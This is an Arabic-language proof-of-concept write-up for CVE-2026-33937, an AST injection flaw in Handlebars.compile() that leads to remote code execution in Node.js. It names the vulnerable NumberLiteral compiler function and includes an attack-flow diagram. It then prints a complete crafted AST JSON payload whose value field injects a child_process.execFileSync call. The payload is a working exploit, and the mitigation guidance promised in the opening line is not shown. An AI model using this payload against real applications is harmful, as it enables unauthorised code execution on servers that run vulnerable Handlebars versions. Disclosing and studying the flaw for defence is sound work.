
إثبات مفهوم لاستغلال CVE-2026-33937، وهي ثغرة حقن في شجرة الصياغة المجردة (AST) الخاصة بـ Handlebars تؤدي إلى تنفيذ تعليمات برمجية عن بُعد في Node.js. يعرض الحمولات المصممة لشجرة الصياغة المجردة ويقدم إرشادات للتخفيف من المخاطر.
CVE-2026-33937 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في Handlebars ناتجة عن معالجة غير آمنة لمدخلات شجرة البنية المجردة (AST).
تسمح الثغرة للمهاجمين بحقن تعليمات JavaScript عشوائية عن طريق توفير كائن AST مُصمم خصيصًا إلى Handlebars.compile().
يقبل Handlebars.compile() كلاً من:
عند توفير كائن AST، يتم تخطي مرحلة التحليل.
داخل:
lib/handlebars/compiler/javascript-compiler.js
الدالة:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
تُدرج number.value مباشرةً في كود JavaScript المُولَّد بدون تعقيم أو تهريب، مما يؤدي إلى حقن كود.
Attacker → Crafted AST (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (NumberLiteral injection)
│
▼
Code generation
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}